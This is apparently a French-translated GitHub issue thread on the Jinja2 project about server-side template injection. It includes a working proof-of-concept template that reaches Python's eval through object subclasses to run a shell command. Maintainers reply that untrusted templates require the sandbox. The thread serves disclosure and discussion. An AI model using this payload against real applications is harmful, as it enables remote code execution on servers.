Jinja: Exécutez des codes arbitraires dans le modèle sans environnement sandbox.

Créé le 23 févr. 2016  ·  6Commentaires  ·  Source: pallets/jinja

Lorsque j'utilise le framework de modèles Jinja2 dans mon projet, j'ai trouvé un moyen d'appeler "os.popen('id')" ou une autre fonction sans registre global.
Il est facile d'obtenir un shell lorsque l'attaquant peut contrôler le contenu du modèle. Est-ce une telle conception?

PoC :

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

Je teste ce code avec python2 (2.7.10) et Jinja2 (2.8), si cela fonctionne, j'imprimerai l'uid de votre utilisateur...

Commentaire le plus utile

Vous ne devez pas exécuter de modèles non approuvés dans un environnement sans bac à sable. C'est exactement pourquoi le bac à sable existe (et pour être honnête, même avec un bac à sable, je ne laisserais pas les utilisateurs fournir des modèles Jinja arbitraires)

Tous les 6 commentaires

Vous ne devez pas exécuter de modèles non approuvés dans un environnement sans bac à sable. C'est exactement pourquoi le bac à sable existe (et pour être honnête, même avec un bac à sable, je ne laisserais pas les utilisateurs fournir des modèles Jinja arbitraires)

Alors, faut-il prendre des mesures pour prévenir ce cas ? Je pense qu'une application spécifique permettrait aux utilisateurs de modifier le contenu du modèle, mais il n'y a pas d'exemples pratiques.

Je pense qu'il est nécessaire d'utiliser sandbox par défaut, car flask ou un autre framework Web utilisé Jinja2 ne le fait pas.

Pourquoi voudriez-vous utiliser le bac à sable par défaut ? Dans la plupart des cas, les modèles ne peuvent pas être modifiés par des personnes non fiables qui n'ont de toute façon pas accès au code.

Il existe un cas d'exécution de code à distance via l'injection de modèle Flask/Jinja2 dans Uber.
lien : http://www.tuicool.com/articles/uE3YNjY

L'activation du sandbox par défaut n'est pas possible en raison de la rétrocompatibilité, et n'est pas non plus raisonnable car la plupart des modèles (dans Flask) sont fiables.

Cette page vous a été utile?
0 / 5 - 0 notes

Questions connexes

glasserc picture glasserc  ·  4Commentaires

hvnsweeting picture hvnsweeting  ·  4Commentaires

jp-costa picture jp-costa  ·  5Commentaires

htgoebel picture htgoebel  ·  4Commentaires

The-Compiler picture The-Compiler  ·  4Commentaires